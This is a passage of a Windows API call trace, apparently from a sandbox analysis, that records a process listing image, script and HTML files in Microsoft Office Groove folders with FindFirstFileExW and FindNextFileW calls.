ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2095, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 1 [0078.896] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 0 [0078.896] GetLastError () returned 0x12 [0078.897] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0078.897] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40f, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageSlice.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a4ceb00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a4ceb00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="")) returned 1 [0078.897] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x135f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x115a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="")) returned 1 [0078.898] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529685b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46a3, dwReserved0=0x0, dwReserved1=0x0, 